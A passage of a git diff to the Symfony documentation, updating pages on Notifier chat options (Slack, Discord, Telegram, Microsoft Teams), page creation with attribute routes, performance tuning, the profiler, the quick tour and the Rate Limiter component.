+        ->image('https://symfony.com/logos/symfony_white_03.png', 'Symfony Logo')
+    ;
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        )
+        ->block($contextBlock)
+    ;
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/slack-footer.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The ``SlackContextBlock`` class was introduced in Symfony 5.3.
+
+Sending a Slack Message as a Reply
+----------------------------------
+
+To send your slack message as a reply in a thread use the
+:method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My reply'))
+        ->threadTs('1621592155.003100')
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/message-reply.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The ``threadTs()`` method was introduced in Symfony 5.3.
 
 Adding Interactions to a Discord Message
 ----------------------------------------
 
 With a Discord message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` to add
-some interactive options called `Embed elements`_::
+:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` class
+to add some interactive options called `Embed elements`_::
 
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordEmbed;
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordFieldEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordFooterEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordMediaEmbedObject;
     use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFieldEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFooterEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordMediaEmbedObject;
     use Symfony\Component\Notifier\Message\ChatMessage;
 
     $chatMessage = new ChatMessage('');
@@ -151,4 +300,131 @@ some interactive options called `Embed elements`_::
 
     $chatter->send($chatMessage);
 
+Adding Interactions to a Telegram Message
+-----------------------------------------
+
+With a Telegram message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` class
+to add `message options`_::
+
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
+    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Create Telegram options
+    $telegramOptions = (new TelegramOptions())
+        ->chatId('@symfonynotifierdev')
+        ->parseMode('MarkdownV2')
+        ->disableWebPagePreview(true)
+        ->disableNotification(true)
+        ->replyMarkup((new InlineKeyboardMarkup())
+            ->inlineKeyboard([
+                (new InlineKeyboardButton('Visit symfony.com'))
+                    ->url('https://symfony.com/'),
+            ])
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($telegramOptions);
+
+    $chatter->send($chatMessage);
+
+Adding text to a Microsoft Teams Message
+----------------------------------------
+
+With a Microsoft Teams, you can use the ChatMessage class::
+
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = (new ChatMessage('Contribute To Symfony'))->transport('microsoftteams');
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/microsoft_teams/message.png
+   :align: center
+
+Adding Interactions to a Microsoft Teams Message
+------------------------------------------------
+
+With a Microsoft Teams Message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\MicrosoftTeams\\MicrosoftTeamsOptions` class
+to add `MessageCard options`_::
+
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\ActionCard;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\HttpPostAction;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\DateInput;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\TextInput;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsOptions;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Field\Fact;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Section;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Action elements
+    $input = new TextInput();
+    $input->id('input_title');
+    $input->isMultiline(true)->maxLength(5)->title('In a few words, why would you like to participate?');
+
+    $inputDate = new DateInput();
+    $inputDate->title('Proposed date')->id('input_date');
+
+    // Create Microsoft Teams MessageCard
+    $microsoftTeamsOptions = (new MicrosoftTeamsOptions())
+        ->title('Symfony Online Meeting')
+        ->text('Symfony Online Meeting are the events where the best developers meet to share experiences...')
+        ->summary('Summary')
+        ->themeColor('#F4D35E')
+        ->section((new Section())
+            ->title('Talk about Symfony 5.3 - would you like to join? Please give a shout!')
+            ->fact((new Fact())
+                ->name('Presenter')
+                ->value('Fabien Potencier')
+            )
+            ->fact((new Fact())
+                ->name('Speaker')
+                ->value('Patricia Smith')
+            )
+            ->fact((new Fact())
+                ->name('Duration')
+                ->value('90 min')
+            )
+            ->fact((new Fact())
+                ->name('Date')
+                ->value('TBA')
+            )
+        )
+        ->action((new ActionCard())
+            ->name('ActionCard')
+            ->input($input)
+            ->input($inputDate)
+            ->action((new HttpPostAction())
+                ->name('Add comment')
+                ->target('http://target')
+            )
+        )
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($microsoftTeamsOptions);
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/microsoft_teams/message-card.png
+   :align: center
+
+.. versionadded:: 5.4
+
+    Options for Microsoft Teams were introduced in Symfony 5.4.
+
+.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
 .. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
+.. _`message options`: https://core.telegram.org/bots/api
+.. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference
diff --git a/notifier/texters.rst b/notifier/texters.rst
index eb663b13726..4cf9b6f2de2 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -6,8 +6,7 @@ How to send SMS Messages
 
 .. versionadded:: 5.0
 
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Notifier component was introduced in Symfony 5.0.
 
 The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows
 you to send SMS messages::
diff --git a/page_creation.rst b/page_creation.rst
index 0d7ff3e910b..012fc208c15 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -81,13 +81,13 @@ If you see a lucky number being printed back to you, congratulations! But before
 you run off to play the lottery, check out how this works. Remember the two steps
 to creating a page?
 
-#. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
-    page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
-    in its own section, including how to make *variable* URLs;
-
-#. *Create a controller*: This is a function where *you* build the page and ultimately
+#. *Create a controller and a method*: This is a function where *you* build the page and ultimately
    return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
-   in their own section, including how to return JSON responses.
+   in their own section, including how to return JSON responses;
+   
+#. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
+   page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
+   in its own section, including how to make *variable* URLs.
 
 .. _annotation-routes:
 
@@ -95,7 +95,8 @@ Annotation Routes
 -----------------
 
 Instead of defining your route in YAML, Symfony also allows you to use *annotation*
-routes. To do this, install the annotations package:
+or *attribute* routes. Attributes are built-in in PHP starting from PHP 8. In earlier
+PHP versions you can use annotations. To do this, install the annotations package:
 
 .. code-block:: terminal
 
@@ -103,26 +104,44 @@ routes. To do this, install the annotations package:
 
 You can now add your route directly *above* the controller:
 
-.. code-block:: diff
+.. configuration-block::
 
-    // src/Controller/LuckyController.php
+    .. code-block:: php-annotations
 
-    // ...
-    + use Symfony\Component\Routing\Annotation\Route;
+        // src/Controller/LuckyController.php
 
-    class LuckyController
-    {
-    +     /**
-    +      * @Route("/lucky/number")
-    +      */
-        public function number()
+        // ...
+        + use Symfony\Component\Routing\Annotation\Route;
+
+        class LuckyController
         {
-            // this looks exactly the same
+        +   /**
+        +    * @Route("/lucky/number")
+        +    */
+            public function number(): Response
+            {
+                // this looks exactly the same
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Controller/LuckyController.php
+
+        // ...
+        + use Symfony\Component\Routing\Annotation\Route;
+
+        class LuckyController
+        {
+        +   #[Route('/lucky/number')]
+            public function number(): Response
+            {
+                // this looks exactly the same
+            }
         }
-    }
 
 That's it! The page - http://localhost:8000/lucky/number will work exactly
-like before! Annotations are the recommended way to configure routes.
+like before! Annotations/attributes are the recommended way to configure routes.
 
 .. _flex-quick-intro:
 
@@ -163,15 +182,15 @@ To get a list of *all* of the routes in your system, use the ``debug:router`` co
 
     $ php bin/console debug:router
 
-You should see your ``app_lucky_number`` route at the very top:
+You should see your ``app_lucky_number`` route in the list:
 
 ================== ======== ======== ====== ===============
- Name               Method   Scheme   Host   Path
+Name               Method   Scheme   Host   Path
 ================== ======== ======== ====== ===============
- app_lucky_number   ANY      ANY      ANY    /lucky/number
+app_lucky_number   ANY      ANY      ANY    /lucky/number
 ================== ======== ======== ====== ===============
 
-You will also see debugging routes below ``app_lucky_number`` -- more on
+You will also see debugging routes besides ``app_lucky_number`` -- more on
 the debugging routes in the next section.
 
 You'll learn about many more commands as you continue!
@@ -209,18 +228,18 @@ Make sure that ``LuckyController`` extends Symfony's base
 
 .. code-block:: diff
 
-    // src/Controller/LuckyController.php
+      // src/Controller/LuckyController.php
 
-    // ...
+      // ...
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class LuckyController
     + class LuckyController extends AbstractController
-    {
-        // ...
-    }
+      {
+          // ...
+      }
 
-Now, use the handy ``render()`` function to render a template. Pass it a ``number``
+Now, use the handy ``render()`` method to render a template. Pass it a ``number``
 variable so you can use it in Twig::
 
     // src/Controller/LuckyController.php
diff --git a/performance.rst b/performance.rst
index 48fc4c5d942..e9d1b5558d6 100644
--- a/performance.rst
+++ b/performance.rst
@@ -43,7 +43,7 @@ features, such as the APCu Cache adapter.
 Restrict the Number of Locales Enabled in the Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use the :ref:`framework.translator.enabled_locales <reference-translator-enabled-locales>`
+Use the :ref:`framework.enabled_locales <reference-enabled-locales>`
 option to only generate the translation files actually used in your application.
 
 .. _performance-service-container-single-file:
@@ -84,7 +84,7 @@ container into a single file, which could improve performance when using
         // config/services.php
 
         // ...
-        $container->setParameter('container.dumper.inline_factories', true);
+        $container->parameters()->set('container.dumper.inline_factories', true);
 
 .. _performance-use-opcache:
 
@@ -106,18 +106,22 @@ make them available to all requests until the server is restarted, improving
 performance significantly.
 
 During container compilation (e.g. when running the ``cache:clear`` command),
-Symfony generates a file called ``preload.php`` in the ``config/`` directory
-with the list of classes to preload.
-
-The only requirement is that you need to set both ``container.dumper.inline_factories``
-and ``container.dumper.inline_class_loader`` parameters to ``true``. Then, you
-can configure PHP to use this preload file:
+Symfony generates a file with the list of classes to preload in the
+``var/cache/`` directory. Rather than use this file directly, use the
+``config/preload.php`` file that is created when
+:doc:`using Symfony Flex in your project </setup/flex>`:
 
 .. code-block:: ini
 
     ; php.ini
     opcache.preload=/path/to/project/config/preload.php
 
+    ; required for opcache.preload:
+    opcache.preload_user=www-data
+
+If this file is missing, run this command to reinstall the Symfony Flex recipe:
+``composer recipes:install symfony/framework-bundle --force -v``.
+
 Use the :ref:`container.preload <dic-tags-container-preload>` and
 :ref:`container.no_preload <dic-tags-container-nopreload>` service tags to define
 which classes should or should not be preloaded by PHP.
@@ -193,14 +197,14 @@ such as Symfony projects, should use at least these values:
 Optimize Composer Autoloader
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The class loader used while developing the application is optimized to find
-new and changed classes. In production servers, PHP files should never change,
+The class loader used while developing the application is optimized to find new
+and changed classes. In production servers, PHP files should never change,
 unless a new application version is deployed. That's why you can optimize
-Composer's autoloader to scan the entire application once and build a "class map",
-which is a big array of the locations of all the classes and it's stored
-in ``vendor/composer/autoload_classmap.php``.
+Composer's autoloader to scan the entire application once and build an
+optimized "class map", which is a big array of the locations of all the classes
+and it's stored in ``vendor/composer/autoload_classmap.php``.
 
-Execute this command to generate the class map (and make it part of your
+Execute this command to generate the new class map (and make it part of your
 deployment process too):
 
 .. code-block:: terminal
@@ -281,7 +285,7 @@ You can also profile your template code with the :ref:`stopwatch Twig tag <refer
 .. code-block:: twig
 
     {% stopwatch 'render-blog-posts' %}
-        {% for post in blog_posts%}
+        {% for post in blog_posts %}
             {# ... #}
         {% endfor %}
     {% endstopwatch %}
diff --git a/profiler.rst b/profiler.rst
index 1bc2c1a0eb5..f7468c67d0b 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -195,7 +195,7 @@ event::
 
     public function onKernelResponse(ResponseEvent $event)
     {
-        if (!$this->getKernel()->isDebug()) {
+        if (!$event->getKernel()->isDebug()) {
             return;
         }
 
diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 276d1e88324..ef377c47974 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -31,7 +31,6 @@ request::
     use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpKernel\DataCollector\DataCollector;
 
     class RequestCollector extends AbstractDataCollector
     {
@@ -96,7 +95,7 @@ template that includes some specific blocks.
 
 First, add the ``getTemplate()`` method in your data collector class to return
 the path of the Twig template to use. Then, add some *getters* to give the
-template access to the collected information::::
+template access to the collected information::
 
     // src/DataCollector/RequestCollector.php
     namespace App\DataCollector;
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 435b4f07351..1b929667b92 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -75,28 +75,28 @@ Thanks to Flex, after one command, you can start using Twig immediately:
 
 .. code-block:: diff
 
-    <?php
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+      <?php
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
 
-    use Symfony\Component\Routing\Annotation\Route;
+      use Symfony\Component\Routing\Annotation\Route;
     - use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
-    -class DefaultController
-    +class DefaultController extends AbstractController
-     {
-         /**
-          * @Route("/hello/{name}")
-          */
-         public function index($name)
-         {
+    - class DefaultController
+    + class DefaultController extends AbstractController
+      {
+           /**
+            * @Route("/hello/{name}")
+            */
+           public function index($name)
+           {
     -        return new Response("Hello $name!");
     +        return $this->render('default/index.html.twig', [
     +            'name' => $name,
     +        ]);
-         }
-    }
+           }
+      }
 
 By extending ``AbstractController``, you now have access to a number of shortcut
 methods and tools, like ``render()``. Create the new template:
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 69883859d53..b7e9764c717 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -72,9 +72,6 @@ What other possible classes or interfaces could you use? Find out by running:
       Request stack that controls the lifecycle of requests.
       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
-
       RouterInterface is the interface that all Router classes must implement.
       Symfony\Component\Routing\RouterInterface (router.default)
 
@@ -138,12 +135,12 @@ difference is that it's done in the constructor:
 
 .. code-block:: diff
 
-    <?php
-    // src/GreetingGenerator.php
+      <?php
+      // src/GreetingGenerator.php
     + use Psr\Log\LoggerInterface;
 
-    class GreetingGenerator
-    {
+      class GreetingGenerator
+      {
     +     private $logger;
     +
     +     public function __construct(LoggerInterface $logger)
@@ -151,15 +148,15 @@ difference is that it's done in the constructor:
     +         $this->logger = $logger;
     +     }
 
-        public function getRandomGreeting()
-        {
-            // ...
+          public function getRandomGreeting()
+          {
+              // ...
 
-     +        $this->logger->info('Using the greeting: '.$greeting);
+    +        $this->logger->info('Using the greeting: '.$greeting);
 
-             return $greeting;
-        }
-    }
+               return $greeting;
+          }
+      }
 
 Yes! This works too: no configuration, no time wasted. Keep coding!
 
@@ -279,7 +276,7 @@ from ``dev`` to ``prod``:
 
 .. code-block:: diff
 
-    # .env
+      # .env
     - APP_ENV=dev
     + APP_ENV=prod
 
@@ -321,10 +318,10 @@ Thanks to a new recipe installed by Flex, look at the ``.env`` file again:
 
 .. code-block:: diff
 
-    ###> symfony/framework-bundle ###
-    APP_ENV=dev
-    APP_SECRET=cc86c7ca937636d5ddf1b754beb22a10
-    ###< symfony/framework-bundle ###
+      ###> symfony/framework-bundle ###
+      APP_ENV=dev
+      APP_SECRET=cc86c7ca937636d5ddf1b754beb22a10
+      ###< symfony/framework-bundle ###
 
     + ###> doctrine/doctrine-bundle ###
     + # ...
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 4fae7ef5991..b6ad8eaafdd 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -105,32 +105,32 @@ But the routing system is *much* more powerful. So let's make the route more int
 
 .. code-block:: diff
 
-    # config/routes.yaml
-    index:
+      # config/routes.yaml
+      index:
     -     path: /
     +     path: /hello/{name}
-        controller: 'App\Controller\DefaultController::index'
+          controller: 'App\Controller\DefaultController::index'
 
 The URL to this page has changed: it is *now* ``/hello/*``: the ``{name}`` acts
 like a wildcard that matches anything. And it gets better! Update the controller too:
 
 .. code-block:: diff
 
-    <?php
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+      <?php
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
 
-    use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\HttpFoundation\Response;
 
-    class DefaultController
-    {
+      class DefaultController
+      {
     -     public function index()
     +     public function index($name)
-        {
+          {
     -         return new Response('Hello!');
     +         return new Response("Hello $name!");
-        }
-    }
+          }
+      }
 
 Try the page out by going to ``http://localhost:8000/hello/Symfony``. You should
 see: Hello Symfony! The value of the ``{name}`` in the URL is available as a ``$name``
@@ -155,22 +155,22 @@ Instead, add the route *right above* the controller method:
 
 .. code-block:: diff
 
-    <?php
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+      <?php
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
 
-    use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Component\Routing\Annotation\Route;
 
-    class DefaultController
-    {
+      class DefaultController
+      {
     +    /**
     +     * @Route("/hello/{name}")
     +     */
-         public function index($name) {
-             // ...
-         }
-    }
+           public function index($name) {
+               // ...
+           }
+      }
 
 This works just like before! But by using annotations, the route and controller
 live right next to each other. Need another page? Add another route and method
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 22a56168498..1d144085d92 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -3,8 +3,7 @@ Rate Limiter
 
 .. versionadded:: 5.2
 
-    The RateLimiter component was introduced in Symfony 5.2 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The RateLimiter component was introduced in Symfony 5.2.
 
 A "rate limiter" controls how frequently some event (e.g. an HTTP request or a
 login attempt) is allowed to happen. Rate limiting is commonly used as a
@@ -16,6 +15,16 @@ Symfony uses these rate limiters in built-in features like "login throttling",
 which limits how many failed login attempts a user can make in a given period of
 time, but you can use them for your own features too.
 
+.. caution::
+
+    By definition, the Symfony rate limiters require Symfony to be booted
+    in a PHP process. This makes them not useful to protect against `DoS attacks`_.
+    Such protections must consume the least resources possible. Consider
+    using `Apache mod_ratelimit`_, `NGINX rate limiting`_ or proxies (like
+    AWS or Cloudflare) to prevent your server from being overwhelmed.
+
+.. _rate-limiter-policies:
+
 Rate Limiting Policies
 ----------------------
 
@@ -26,22 +35,44 @@ Fixed Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 This is the simplest technique and it's based on setting a limit for a given
-interval of time. For example: 5,000 requests per hour or 3 login attempts
-every 15 minutes.
+interval of time (e.g. 5,000 requests per hour or 3 login attempts every 15
+minutes).
+
+In the diagram below, the limit is set to "5 tokens per hour". Each window
+starts at the first hit (i.e. 10:15, 11:30 and 12:30). As soon as there are
+5 hits (the blue squares) in a window, all others will be rejected (red
+squares).
+
+.. raw:: html
+
+    <object data="_images/rate_limiter/fixed_window.svg" type="image/svg+xml"></object>
 
 Its main drawback is that resource usage is not evenly distributed in time and
-it can overload the server at the window edges. In the previous example, a user
-could make the 4,999 requests in the last minute of some hour and another 5,000
-requests during the first minute of the next hour, making 9,999 requests in
-total in two minutes and possibly overloading the server. These periods of
-excessive usage are called "bursts".
+it can overload the server at the window edges. In the previous example,
+there are 6 accepted requests between 11:00 and 12:00.
+
+This is more significant with bigger limits. For instance, with 5,000 requests
+per hour, a user could make the 4,999 requests in the last minute of some
+hour and another 5,000 requests during the first minute of the next hour,
+making 9,999 requests in total in two minutes and possibly overloading the
+server. These periods of excessive usage are called "bursts".
 
 Sliding Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The sliding window algorithm is an alternative to the fixed window algorithm
-designed to reduce bursts. To do that, the rate limit is calculated based on
-the current window and the previous window.
+designed to reduce bursts. This is the same example as above, but then
+using a 1 hour window that slides over the timeline:
+
+.. raw:: html
+
+    <object data="_images/rate_limiter/sliding_window.svg" type="image/svg+xml"></object>
+
+As you can see, this removes the edges of the window and would prevent the
+6th request at 11:45.
+
+To achieve this, the rate limit is approximated based on the current window and
+the previous window.
 
 For example: the limit is 5,000 requests per hour; a user made 4,000 requests
 the previous hour and 500 requests this hour. 15 minutes in to the current hour
@@ -64,6 +95,18 @@ continuously updating budget of resource usage. It roughly works like this:
 * If the bucket still contains tokens, the event is allowed; otherwise, it's denied;
 * If the bucket is at full capacity, new tokens are discarded.
 
+The below diagram shows a token bucket of size 4 that is filled with a rate
+of 1 token per 15 minutes:
+
+.. raw:: html
+
+    <object data="_images/rate_limiter/token_bucket.svg" type="image/svg+xml"></object>
+
+This algorithm handles more complex back-off algorithm to manage bursts.
+For instance, it can allow a user to try a password 5 times and then only
+allow 1 every 15 minutes (unless the user waits 75 minutes and they will be
+allowed 5 tries again).
+
 Installation
 ------------
 
@@ -80,20 +123,79 @@ Configuration
 The following example creates two different rate limiters for an API service, to
 enforce different levels of service (free or paid):
 
-.. code-block:: yaml
-
-    # config/packages/rate_limiter.yaml
-    framework:
-        rate_limiter:
-            anonymous_api:
-                # use 'sliding_window' if you prefer that policy
-                policy: 'fixed_window'
-                limit: 100
-                interval: '60 minutes'
-            authenticated_api:
-                policy: 'token_bucket'
-                limit: 5000
-                rate: { interval: '15 minutes', amount: 500 }
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                anonymous_api:
+                    # use 'sliding_window' if you prefer that policy
+                    policy: 'fixed_window'
+                    limit: 100
+                    interval: '60 minutes'
+                authenticated_api:
+                    policy: 'token_bucket'
+                    limit: 5000
+                    rate: { interval: '15 minutes', amount: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- policy: use 'sliding_window' if you prefer that policy -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                    />
+
+                    <framework:limiter name="authenticated_api"
+                        policy="token_bucket"
+                        limit="5000"
+                    >
+                        <framework:rate interval="15 minutes"
+                            amount="500"
+                        />
+                    </framework:limiter>
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->rateLimiter()
+                ->limiter('anonymous_api')
+                    // use 'sliding_window' if you prefer that policy
+                    ->policy('fixed_window')
+                    ->limit(100)
+                    ->interval('60 minutes')
+                ;
+
+            $framework->rateLimiter()
+                ->limiter('authenticated_api')
+                    ->policy('token_bucket')
+                    ->limit(5000)
+                    ->rate()
+                        ->interval('15 minutes')
+                        ->amount(500)
+                ;
+        };
 
 .. note::
 
@@ -123,14 +225,15 @@ the number of requests to the API::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
     use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
         // if you're using service autowiring, the variable name must be:
-        // "rate limiter name" (in camelCase) + "limiter" suffix
-        public function index(RateLimiterFactory $anonymousApiLimiter)
+        // "rate limiter name" (in camelCase) + "Limiter" suffix
+        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter)
         {
             // create a limiter based on a unique identifier of the client
             // (e.g. the client's IP address, a username/email, an API key, etc.)
@@ -228,12 +331,13 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
-        public function index(RateLimiterFactory $anonymousApiLimiter)
+        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter)
         {
             $limiter = $anonymousApiLimiter->create($request->getClientIp());
             $limit = $limiter->consume();
@@ -249,34 +353,174 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
 
             // ...
 
-            $reponse = new Response('...');
+            $response = new Response('...');
             $response->headers->add($headers);
 
             return $response;
         }
     }
 
-Rate Limiter Storage and Locking
---------------------------------
+Storing Rate Limiter State
+--------------------------
+
+All rate limiter policies require to store their state(e.g. how many hits were
+already made in the current time window). By default, all limiters use the
+``cache.rate_limiter`` cache pool created with the :doc:`Cache component </cache>`.
+
+Use the ``cache_pool`` option to override the cache used by a specific limiter
+(or even :ref:`create a new cache pool <cache-create-pools>` for it):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                anonymous_api:
+                    # ...
+
+                    # use the "cache.anonymous_rate_limiter" cache pool
+                    cache_pool: 'cache.anonymous_rate_limiter'
 
-Rate limiters use the default cache and locking mechanisms defined in your
-Symfony application. If you prefer to change that, use the ``lock`` and
-``storage`` options:
+    .. code-block:: xml
 
-.. code-block:: yaml
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-    # config/packages/rate_limiter.yaml
-    framework:
-        rate_limiter:
-            anonymous_api_limiter:
-                # ...
-                # the value is the name of any cache pool defined in your application
-                cache_pool: 'app.redis_cache'
-                # or define a service implementing StorageInterface to use a different
-                # mechanism to store the limiter information
-                storage: 'App\RateLimiter\CustomRedisStorage'
-                # the value is the name of any lock defined in your application
-                lock: 'app.rate_limiter_lock'
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- cache-pool: use the "cache.anonymous_rate_limiter" cache pool -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                        cache-pool="cache.anonymous_rate_limiter"
+                    />
+
+                    <!-- ... -->
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->rateLimiter()
